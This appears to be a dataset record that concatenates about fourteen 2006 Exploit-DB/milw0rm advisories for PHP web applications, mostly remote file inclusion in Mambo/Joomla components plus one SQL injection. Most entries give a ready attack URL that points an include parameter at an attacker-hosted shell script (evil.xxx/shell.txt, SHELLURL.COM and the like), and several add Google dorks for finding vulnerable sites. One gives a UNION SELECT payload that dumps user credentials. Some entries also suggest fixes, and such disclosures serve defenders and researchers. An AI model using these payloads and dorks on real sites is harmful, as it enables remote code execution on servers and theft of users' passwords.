QLWD/code_shield huggingface dataset:
标题: Sonium Enterprise Adressbook 0.2 - 'folder' Include EDB-ID: 2216 CVE: 2006-4311 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-18 漏洞利用脚本: +--------------------------------------------------------------------
+
+ Sonium Enterprise Adressbook Version 0.2 (folder) RFI
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/342/org/Sonium_Enterprise_Adressbook_Version_0.2_(folder)_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: Sonium Enterprise Adressbook Version 0.2
+ Venedor ...........: http://www.sonium-php.de
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected Files:
+ /plugins/*.php (not config.php)
+
+ First lines of all these scripts:
+ .....
+     include("$folder/config.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $folder is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Deny direct access to all files in folder "plugins"
+ or modify code:
+
+ if(!isset($_REQUEST['folder']) && !isset($_GET['folder']) &&
!isset($_POST['folder'])){
+  //code of org. *.php
+ }
+ else {
+  echo "You cannot access this file directly.";
+  die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/plugins/1_Adressbuch/delete.php?folder=[script]
+
+--------------------------------------------------------------------
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-18] URL: https://www.exploit-db.com/exploits/2216
标题: Mambo Component cropimage 1.0 - Remote File Inclusion EDB-ID: 2217 CVE: 2006-4363 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-19 漏洞利用脚本: ############################################################
############################################################
############# C Y B E R - W A R R I O R  T I M #############
############################################################
############################################################

#Mambo com_cropimage 1.0 Component Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  in admin.cropcanvas.php , line 7

require_once $cropimagedir."class.cropinterface.php";

############################################################

#Fix: 1-)open admin.cropcanvas.php
       2-)add this code before line 7

        defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

############################################################

#Exploit:
http://www.site.com/[path]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA, mdx, DJR, DaRK,R3D4C!D,iNSoMNiA and all my friend

############################################################

# milw0rm.com [2006-08-19] URL: https://www.exploit-db.com/exploits/2217
标题: Joomla! Component Kochsuite 0.9.4 - Remote File Inclusion EDB-ID: 2215 CVE: 2006-4348 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-18 漏洞利用脚本: .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: Kochsuite v0.9.4

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [x]  High [ ]
 
  Application: Kochsuite
 
  Version: 0.9.4
 
  Vulnerable File: config.kochsuite.php
 
  URL: http://www.vegisto.com
 
  Description: It's a component for chiefs to publish theirs stuff...
 
  Dork: inurl:"com_kochsuite"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


  http://[sitepath]/[joomlapath]/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open config.kochsuite.php
 
  o2.) take a look at line 46:

         # Don't allow direct linking    defined( '_VALID_MOS' ) or 

         die( 'Direct Access to this location is not allowed.' );

  o3.) take a look at line 47:

         require_once ($mosConfig_absolute_path.'/administrator/

         components/com_kochsuite/includes/letters.inc');
 
  o4.) change line 46:

         defined( '_VALID_MOS' ) or 

         die( 'Direct Access to this location is not allowed.' );
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members of insecurity research team ;-)

# milw0rm.com [2006-08-18] URL: https://www.exploit-db.com/exploits/2215
标题: Mambo Component MamboWiki 0.9.6 - Remote File Inclusion EDB-ID: 2213 CVE: 2006-4282 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-18 漏洞利用脚本: .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: MamboWiki <= v0.9.6

          (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: MamboWiki
 
  Version: <= 0.9.6
 
  Vulnerable File: MamboLogin.php
 
  URL: http://www.lyquidity.com
 
  Description: A component like Wikipedia for Jooma/Mambo.
 
  Dork: inurl:"com_mambowiki"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


  http://[sitepath]/[joomlapath]/components/com_mambowiki/ MamboLogin.php?IP=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open MamboLogin.php
 
  o2.) add this in line 8:

         defined( '_VALID_MOS' ) or 

         die( 'Direct Access to this location is not allowed.' );

  o3.) done!



 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members of insecurity research team ;-)

# milw0rm.com [2006-08-18] URL: https://www.exploit-db.com/exploits/2213
标题: Joomla! Component Artlinks 1.0b4 - Remote File Inclusion EDB-ID: 2209 CVE: 2006-3949 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-18 漏洞利用脚本: .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: Artlinks v1.0 Beta 4 

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: Artlinks
 
  Version: 1.0 Beta 4
 
  Vulnerable File: artlinks.dispnew.php
 
  URL: http://www.duswald.de
 
  Description: It's a component which creates linklists for various 

               categories with a screenshot and description.
 
  Dork: inurl:"com_artlinks"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open artlinks.dispnew.php
 
  o2.) take a look at line 12:

         require($mosConfig_absolute_path."/administrator/components/

         com_artlinks/config.artlinks.php");
 
  o3.) add the following line before line 12:

         defined( '_VALID_MOS' ) or die( 'Direct Access to this location 

         is not allowed.' );
 
  o4.) done!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members 

  of insecurity research team ;-)

# milw0rm.com [2006-08-18] URL: https://www.exploit-db.com/exploits/2209
标题: Mambo Component mambelfish 1.1 - Remote File Inclusion EDB-ID: 2202 CVE: 2006-4270 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: ####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_mambelfish Component (mosConfig_absolute_path) Remote File
Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: mambelfish.class.php?, line 28
***************************************************************************************************

  require_once( "$mosConfig_absolute_path/administrator/classes/minixml/minixml.inc.php" );

***************************************************************************************************


Exploit:
http://www.site.com/[path]/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################
Greetz: Cyber-warrior TIM USERS
####################################################

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2202
标题: WTcom 0.2.4-alpha - 'torrents.php' SQL Injection EDB-ID: 2200 CVE: 2006-4238 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: # WebTorrent (WTcom) Script <= 0.2.4
# ----------------------------------
# >>> Remote SQL Injection
# <<< Every Username, Password and Email
# ----------------------------------
# Author: sh1r081 (sh1r081[at]gmail.com)

http://[SITE]/torrents.php?mode=category&cat=0%20union%20select%20null,null,concat(username,char(32),password,char(32),email)%20from%20users%20/*

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2200
标题: Mambo Component 'com_a6mambocredits' 1.0.0 - Remote File Inclusion EDB-ID: 2207 CVE: 2006-4288 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: Title : Mambo a6mambocredits component v1.0.0 <== (mosConfig_live_site) Remote File Include Vulnerabilities

Affected Application: Mambo a6mambocredits component v1.0.0

(Mambo CMS Component)


. . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


Discoverd/Found by: Charles Nelwan a.k.a Cmaster4

Team: #BatamHacker irc.dal.net crew

URL: http://www.batamhacker.info/forum

E-Mail: bugtraq_indo@yahoo.com


. . :[ insecure application details ]: . . . . . . . . . . . . . . . . .


Typ: Remote [x] Local [ ]

Remote File Inclusion [x] SQL Injection [ ]

Level: Low [ ] Middle [x] High [ ]

Application: Mambo a6mambocredits

Version: 1.0.0

Vulnerable File: admin.a6mambocredits.php

URL: www.active6.com

Description: Mambo 4.5.1 component to display component credits in one central page.

google dork : inurl:"com_a6mambocredits"



. . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


http://www.targer.com/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://Senjata.com/tembuspakeshell.txt


Shoutz:
~~~~~~
~ Special Greetz To My BATAMHACKER CREW ON IRC.DAL.NET h4ntu, havicaz, baylaw
~ To All Indonesian Underground Hacker 

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2207
标题: PHlyMail Lite 3.4.4 - 'mod.listmail.php' Remote File Inclusion EDB-ID: 2211 CVE: 2006-4291 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-18 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- PHlyMail Lite <= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: PHlyMail Lite v. 3.4.4 (Build 3.04.04)
- [Script site: http://phlymail.de/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne kozysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
+++++++++++++++++++++START+++++++++++++++++++++++
vulnerable code => handlers/email/mod.listmail.php line 12-25:
....
$use_preview = (isset($_PM_['core']['folders_usepreview']) && $_PM_['core']['folders_usepreview']) ? true : false;

$ordfields = array
       ('hfrom', 'hto', 'hcc', 'hbcc', 'hsubject', 'hdate_recv', 'hdate_sent', 'hsize', 'hpriority'
       ,'attachments', 'meta_read', 'meta_type', 'meta_colour'
       );
require_once($_PM_['path']['handler'].'/'.$_REQUEST['handler'].'/fs.php');
require_once($_PM_['path']['lib'].'/phm_streaming_mailparser.php');

// We changed the folder, got to reset the page number to 0
if (isset($_REQUEST['workfolder']) && isset($_SESSION['workfolder'])
       && $_REQUEST['workfolder'] != $_SESSION['workfolder']) {
   $_SESSION['WPs_pagenum'] = 0;
}
....
+++++++++++++++++++++++++++++++++++++++++++++++++
*/
/*
+++++++++++++++++++++FIX+++++++++++++++++++++++++
handlers/email/mod.listmail.php line 12-25:
Add Line1:
....
if (!defined('_IN_PHM_')) die();
....
$use_preview = (isset($_PM_['core']['folders_usepreview']) &&
$_PM_['core']['folders_usepreview']) ? true : false;

$ordfields = array
       ('hfrom', 'hto', 'hcc', 'hbcc', 'hsubject', 'hdate_recv', 'hdate_sent', 'hsize', 'hpriority'
       ,'attachments', 'meta_read', 'meta_type', 'meta_colour'
       );
require_once($_PM_['path']['handler'].'/'.$_REQUEST['handler'].'/fs.php');
require_once($_PM_['path']['lib'].'/phm_streaming_mailparser.php');

// We changed the folder, got to reset the page number to 0
if (isset($_REQUEST['workfolder']) && isset($_SESSION['workfolder'])
       && $_REQUEST['workfolder'] != $_SESSION['workfolder']) {
   $_SESSION['WPs_pagenum'] = 0;
}
....
++++++++++++++++++++THE+END++++++++++++++++++++++
*/
#Exploit:

http://www.site.com/[phlymail_path]/handlers/email/mod.listmail.php?_PM_[path][handler]=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-18] URL: https://www.exploit-db.com/exploits/2211
标题: Joomla! Component com_jim 1.0.1 - Remote File Inclusion EDB-ID: 2203 CVE: 2006-4242 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: ############################################################
############################################################
############# C Y B E R - W A R R I O R  T I M #############
############################################################
############################################################

#Mambo jim Component Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  in install.jim.php , line 16

require_once($mosConfig_absolute_path."/components/com_jim/readme.txt");

############################################################

#Exploit:
http://www.site.com/[path]/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=http://evil_script?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA, sakkkure, x-mastER, DJR, DaRK, EntriKa, R3D4C!D, iNSoMNiA and all my friend

############################################################

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2203
标题: POWERGAP 2003 - 's0x.php' Remote File Inclusion EDB-ID: 2201 CVE: 2006-4236 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: #=================================================================
#powergap <= (s0x.php) Remote File Inclusion Exploit
#================================================================
#                                                                   
#Critical Level : Dangerous                                 
#                                                                   
#Venedor site : http://www.powergap-shop.de   
#                                                                   
#http://www.demo-shop.com                           
#                                                                   
#=================================================================
#
#Dork: "powergap" or "s04.php" or s01.php or s02.php
#
#=================================================================
#Bug in : s01.php
#or s02.php
#or s03.php
#or s04.php
#
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/s01.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s01.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s02.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s03.php?shopid=http://SHELLURL.COM?
#http://sitename.com/s04.php?shopid==http://SHELLURL.COM
#   or
#http://sitename.com/sid=XXXXXXXXXXXXXXXXXXXXXXXXXXXX&shopid=http://SHELLURL.COM
#http://sitename.com/sid=http://SHELLURL.COM
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ : SnIpEr_Sa. Alarraab. SHiKaA. King18
#www.3asfh.net
=================================================================

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2201
标题: Joomla! Component Mosets Tree 1.0 - Remote File Inclusion EDB-ID: 2205 CVE: 2006-3990 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-17 漏洞利用脚本: !!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------

Title : Joomla Mosets Tree <= 1.0 Remote File Include Vulnerability

--------------------------------------------------------------------------------
#Author: Crackers_Child


#cont@ct: crackers_child@sibersavascilar.com

--------------------------------------------------------------------------------

Google Dorks  : inurl:"/com_mtree/"

------------------------- -------------------------------------------------------

Application :  Mtree  Component of Mambo

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

Exploit:

http://[target]/[mambo_path]/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=

--------------------------------------------------------------------------------

greets:

All My Friends And SiberSavascilar.Com Members !

--------------------------------------------------------------------------------



--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------

# milw0rm.com [2006-08-17] URL: https://www.exploit-db.com/exploits/2205
标题: OPT Max 1.2.0 - 'CRM_inc' Remote File Inclusion EDB-ID: 2192 CVE: 2006-4239 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-16 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- OPT (Outreach Project Tool) <= 1.2.6 [CRM_inc] Remote File Include
Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: OPT (Outreach Project Tool) v. 1.2.6
- [Script site: http://sourceforge.net/projects/outreach
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Greetz: DragonHeart
- and all DEVIL TEAM Members :-)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Expl:

http://www.site.com/[opt_path]/include/urights.php?CRM_inc=[evil_scripts.txt]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-16] URL: https://www.exploit-db.com/exploits/2192
标题: Mambo Component CopperminePhotoGalery - Remote File Inclusion EDB-ID: 2196 CVE: 2006-4321 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-16 漏洞利用脚本: ###########  CopperminePhotoGallery Component ###########
Found By k1tk4t
Indonesia 
 
  This bug allows a remote atacker to execute commands via RFI

file:
cpg.php  

bug:
require ($mosConfig_absolute_path."/administrator/components/com_cpg/config.cpg.php");



path:
add in cpg.php
defined( '_VALID_MOS' ) or die( 'hacking attemp.' );

dork: inurl:com_cpg

expl:
htttp:/www.site.it/components/com_cpg/cpg.php?mosConfig_absolute_path=

http://evil.xxx/shell.txt?


thanks to

e-c-h-o
h4cky0u
milw0rm
google

# milw0rm.com [2006-08-16] URL: https://www.exploit-db.com/exploits/2196